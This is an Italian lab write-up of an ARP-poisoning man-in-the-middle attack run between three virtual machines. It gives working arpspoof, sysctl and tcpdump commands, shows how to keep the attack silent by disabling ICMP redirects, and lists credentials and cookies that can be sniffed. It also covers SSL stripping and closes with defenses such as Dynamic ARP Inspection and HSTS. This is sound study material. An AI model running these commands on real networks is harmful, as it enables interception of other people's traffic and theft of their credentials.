Il Gateway Sono Io

Sono le 21:00. Il lab è acceso da qualche ora. Ho appena finito di leggere come funziona il Gratuitous ARP - quella tecnica dove un dispositivo annuncia a tutta la rete "questo IP sono io", senza che nessuno lo abbia chiesto.

Ho capito la teoria. Voglio vederla in pratica.

Il setup

#

Tre macchine sulla stessa rete host-only UTM:

Mac (.1)             ← gateway
Ubuntu (.3)          ← vittima
Kali (.200)          ← attaccante

L'obiettivo è semplice sulla carta: convincere Ubuntu che il gateway è Kali. Tutto il traffico di Ubuntu verso internet passerà da me. Ubuntu non saprà niente.

Il problema che non avevo considerato

#

Prima ancora di lanciare un singolo comando, c'è qualcosa che devo capire.

Se Kali riceve i pacchetti di Ubuntu ma non sa cosa farne, li scarta. Ubuntu perde la connessione. L'IT chiama. L'attacco dura cinque minuti.

Un MITM silenzioso richiede che il traffico passi attraverso l'attaccante senza interruzioni. Kali deve diventare un router.

sudo sysctl -w net.ipv4.ip_forward=1

Un parametro del kernel. Zero o uno. La differenza tra un black hole e un uomo nel mezzo invisibile.

L'avvelenamento

#

ARP poisoning non è un singolo pacchetto - è un flusso continuo. arpspoof manda ARP Reply false in loop, sovrascrivendo continuamente la cache della vittima prima che scada.

Ma avvelenare solo Ubuntu non basta. Il traffico di ritorno - da internet verso Ubuntu - arriva al gateway reale e viene inoltrato direttamente a Ubuntu, bypassandomi. Vedo solo metà della conversazione.

Servono due terminali, due avvelenamenti simultanei:

# Terminale 1 - Ubuntu crede che il gateway sia Kali
sudo arpspoof -i eth0 -t 192.168.64.3 192.168.64.1

# Terminale 2 - il gateway crede che Ubuntu sia Kali
sudo arpspoof -i eth0 -t 192.168.64.1 192.168.64.3

Su Ubuntu, la verifica:

ip neighbor show
192.168.64.200 dev enp0s1 lladdr 42:27:26:91:fd:11 REACHABLE
192.168.64.1   dev enp0s1 lladdr 42:27:26:91:fd:11 REACHABLE

Il gateway (192.168.64.1) e Kali (192.168.64.200) hanno lo stesso MAC. Ubuntu è compromessa. Non lo sa.

Prima dell'avvelenamento era:

ip neighbor show
192.168.64.200 dev enp0s1 lladdr 42:27:26:91:fd:11 REACHABLE
192.168.64.1 dev enp0s1 lladdr 72:8c:f2:1b:c8:64 REACHABLE
fe80::708c:f2ff:fe1b:c864 dev enp0s1 lladdr 72:8c:f2:1b:c8:64 router STALE

Il tradimento del kernel

#

Lancio un ping da Ubuntu verso 8.8.8.8. Funziona - ma c'è qualcosa che non dovrebbe esserci:

From 192.168.64.200: icmp_seq=1 Redirect Host(New nexthop: 192.168.64.1)
64 bytes from 8.8.8.8: icmp_seq=1 ttl=115 time=48.0 ms

Kali sta mandando un ICMP Redirect a Ubuntu. È il kernel Linux che fa il suo lavoro: quando un router riceve un pacchetto e lo reinoltra sullo stesso segmento di rete, è più efficiente dire al mittente di andare direttamente a destinazione.

Il problema è che Ubuntu aggiorna la sua routing cache con questa informazione. Dopo qualche secondo, bypassa Kali e va direttamente al gateway. L'attacco si rompe da solo.

La soluzione è silenziare quei messaggi:

sudo sysctl -w net.ipv4.conf.all.send_redirects=0
sudo sysctl -w net.ipv4.conf.default.send_redirects=0

Ma non basta. Guardo i parametri del kernel:

sysctl -a | grep send_redirect
net.ipv4.conf.all.send_redirects     = 0
net.ipv4.conf.default.send_redirects = 0
net.ipv4.conf.eth0.send_redirects    = 1   ← ancora attivo
net.ipv4.conf.lo.send_redirects      = 1

all e default non sovrascrivono l'interfaccia specifica. Aggiungo l'ultimo pezzo:

sudo sysctl -w net.ipv4.conf.eth0.send_redirects=0

Nessun redirect. Ubuntu continua a pingare 8.8.8.8. Non sa che ogni pacchetto passa da me.

La firma che non mente

#

Su Kali, tcpdump cattura il traffico ICMP di Ubuntu:

sudo tcpdump -i eth0 -n 'host 192.168.64.3 and icmp' -c 10

21:46:12.485487 IP 192.168.64.3 > 8.8.8.8: ICMP echo request, id 1192, seq 12, length 64
21:46:12.485517 IP 192.168.64.3 > 8.8.8.8: ICMP echo request, id 1192, seq 12, length 64

Lo stesso pacchetto due volte. Stesso id, stesso seq.

Questo è il doppio che non dovrebbe esistere. In una rete normale, un echo request appare una volta sola. Con un MITM attivo, Kali lo riceve da Ubuntu e poi lo reinoltra - e tcpdump li vede entrambi.

In Wireshark il dettaglio è ancora più chiaro:

Packet 1: 192.168.64.3 > 8.8.8.8  TTL=64   (originale, mandato da Ubuntu)
Packet 2: 192.168.64.3 > 8.8.8.8  TTL=63   (reinoltrato da Kali)

Stesso sequence number. TTL decrementato di 1.

Un hop fantasma. Il segno di qualcuno che non dovrebbe essere lì.

La lezione che non dimentico

#

Durante il lab ho provato a vedere la routing cache di Ubuntu. Ho letto ip route flush cache. Non ha funzionato - su kernel moderno la route cache è stata rimossa.

Ho provato ip route flush all.

sudo ip route flush all

Il terminale si è fermato. Ubuntu aveva appena cancellato tutta la sua routing table, inclusa la route verso Kali - la macchina da cui stavo mandando i comandi via SSH.

Connessione persa. Riavvio da UTM.

flush cache svuota le route temporanee. flush all cancella tutto - incluso il percorso verso te stesso. Su una macchina in produzione accessibile solo in remoto, è un disastro.

exit 0

#

ARP non ha autenticazione. Non può averla - è stato progettato per una rete di fiducia, non per un mondo di avversari.

Questo attacco non richiede vulnerabilità software, non richiede credenziali rubate, non richiede accesso fisico. Richiede solo di essere sulla stessa LAN e di sapere come funziona il protocollo.

La difesa esiste - DAI (Dynamic ARP Inspection) sullo switch managed, monitoraggio delle anomalie ARP, Wazuh che osserva la rete. Ma la maggior parte delle reti non ha niente di tutto questo.

La prossima volta che sei in una rete che non conosci, guarda cosa risponde ip neighbor show. Se il gateway e un altro IP hanno lo stesso MAC, qualcuno sta già leggendo il tuo traffico.

Cosa si può sniffare in un MITM reale

#

Protocolli in chiaro - tutto leggibile

#

Su una rete senza cifratura, un MITM vede tutto:

HTTP - il caso più comune e pericoloso:

GET /login HTTP/1.1
Host: banca.esempio.it
Cookie: session=abc123

POST /login HTTP/1.1
username=mario&password=supersegreto123

Username, password, cookie di sessione, contenuto delle pagine, form compilati. Tutto in chiaro, tutto leggibile con Wireshark in tempo reale.

FTP - credenziali in chiaro:

USER mario
PASS supersegreto123

FTP non ha mai avuto cifratura. Ancora usato in molte aziende per trasferire file interni.

SMTP/POP3/IMAP non cifrati - email in transito:

From: mario@azienda.it
To: cfo@azienda.it
Subject: Credenziali server di produzione

La password del database è: Pr0d_2024!

Se il client di posta non usa TLS (e molti non lo fanno sulla rete interna), le email viaggiano in chiaro. Corpo, allegati, credenziali - tutto visibile.

Telnet - obsoleto ma ancora presente in apparati di rete vecchi:

login: admin
Password: cisco123

Ogni carattere digitato viaggia in chiaro. Un MITM vede la sessione di amministrazione completa.

DNS - sempre in chiaro (a meno di DoH/DoT):

Query: chi è gmail.com?
Reply: gmail.com è 142.250.x.x

Non vedi il contenuto delle comunicazioni, ma vedi tutti i domini che la vittima visita. È metadata prezioso - puoi ricostruire l'intera attività di navigazione.

HTTPS - dove inizia la cifratura

#

Questa è la domanda chiave e la risposta è precisa.

Sì - la cifratura inizia sul computer della vittima, prima che il pacchetto esca.

Il flusso reale è questo:

Browser di Ubuntu
      │
      │ 1. TCP handshake con il server (non cifrato)
      │ 2. TLS handshake (negoziazione algoritmi, scambio chiavi)
      │ 3. Derivazione chiave simmetrica - avviene localmente
      │ 4. Dati cifrati con AES
      │
      ▼
[pacchetto già cifrato] ──► Kali (MITM) ──► internet ──► server

Quello che Kali vede con il MITM ARP su traffico HTTPS:

IP 192.168.64.3 > 216.58.x.x: TCP [SYN]
IP 192.168.64.3 > 216.58.x.x: TLSv1.3 Client Hello
IP 216.58.x.x > 192.168.64.3: TLSv1.3 Server Hello, Certificate
IP 192.168.64.3 > 216.58.x.x: [dati cifrati]
IP 216.58.x.x > 192.168.64.3: [dati cifrati]

Vedi che sta avvenendo una comunicazione HTTPS, con quale server, quanto traffico, quando - ma non il contenuto. I dati sono già cifrati quando lasciano il browser.

Questo è esattamente perché HTTPS esiste: proteggere dal MITM di rete.

Ma HTTPS non è invulnerabile al MITM

#

Esistono due tecniche reali che rompono HTTPS anche con MITM attivo:

SSL Stripping - l'attacco classico di Moxie Marlinspike (2009):

Vittima ──HTTP──► Kali ──HTTPS──► Server
         (pensa di usare HTTP)

Il browser della vittima pensa di essere su HTTP. Kali fa HTTPS con il server vero. Kali vede tutto in chiaro.

Funziona solo se:

• La vittima digita http:// o clicca un link HTTP
• Il sito non ha HSTS (HTTP Strict Transport Security)

I browser moderni e i siti importanti usano HSTS - una volta visitato in HTTPS, il browser rifiuta di tornare a HTTP. Ma molti siti aziendali interni non lo implementano.

SSL Bump / Proxy MITM - usato da firewall aziendali e attaccanti avanzati:

Vittima ──HTTPS──► [Proxy/Kali con certificato falso] ──HTTPS──► Server

Il proxy presenta un certificato falso alla vittima. Se la vittima accetta (o se il certificato è firmato da una CA controllata dall'attaccante, come nei proxy aziendali), il traffico viene decifrato, ispezionato e re-cifrato.

Il browser mostra un warning:

⚠️ La connessione non è sicura
Il certificato non è valido per questo dominio

Se la vittima ignora il warning e procede, l'attaccante vede tutto. Nelle aziende questo viene fatto legalmente installando il certificato del proxy in tutti i browser - è così che l'IT ispeziona il traffico HTTPS dei dipendenti.

Cosa si sniffa concretamente in uno scenario aziendale reale

#

Scenario: ufficio, rete LAN, MITM attivo su un collega.

Traffico HTTP interno - applicazioni legacy, intranet, pannelli di amministrazione interni spesso non cifrati:

POST http://gestionale.interno/login
username=admin&password=Admin2024

DNS queries - l'intera navigazione ricostruita dai nomi:

gmail.com, slack.com, dropbox.com, concorrente.it, linkedin.com/jobs...

Credenziali email - se Outlook/Thunderbird usa IMAP senza TLS:

A0001 LOGIN mario.rossi P@ssw0rd!

Cookie di sessione HTTP - permettono di impersonare la vittima:

Cookie: PHPSESSID=abc123; auth_token=xyz789

Con quel cookie puoi fare richieste al server impersonando la vittima senza conoscere la password.

NTLM/Kerberos hashes - in reti Windows, i meccanismi di autenticazione Windows trasmettono hash che possono essere catturati con Responder e poi crackati offline o usati in pass-the-hash.

Il limite reale del MITM ARP

#

Il MITM ARP ha un confine preciso: funziona solo sulla LAN.

Internet ──────► Router ──────► Switch ──────► Vittima
                                   │
                                 Kali
                           (stesso segmento)

Se l'attaccante è nella stessa subnet della vittima, può fare ARP poisoning. Se è su internet, non può - ARP non attraversa i router.

Per questo gli attacchi MITM più sofisticati usano tecniche diverse:

• BGP hijacking - avvelenamento delle route su internet (stato-nazione level)
• DNS spoofing - risponde alle query DNS con IP falsi
• Rogue AP - punto di accesso WiFi falso che fa da MITM naturale

Difese che rendono il MITM ARP inutile

#

DAI (Dynamic ARP Inspection)
  → lo switch verifica ogni ARP packet contro la DHCP snooping table
  → se MAC/IP non corrispondono → pacchetto scartato
  → arpspoof non funziona più

HTTPS ovunque
  → anche se il MITM cattura il traffico, non può leggerlo
  → i dati sono già cifrati sul computer della vittima

HSTS (HTTP Strict Transport Security)
  → il browser ricorda che quel sito deve sempre usare HTTPS
  → SSL stripping non funziona

Certificate Pinning
  → l'applicazione accetta solo un certificato specifico
  → certificati falsi vengono rifiutati automaticamente

Wazuh + monitoraggio ARP
  → alert su: stesso IP con MAC diverso nel tempo
  → alert su: molte ARP Reply non richieste in breve tempo

Comandi usati: arpspoof · sysctl · tcpdump · ip Concetti correlati: arp · osi-model · routing-hop-ttl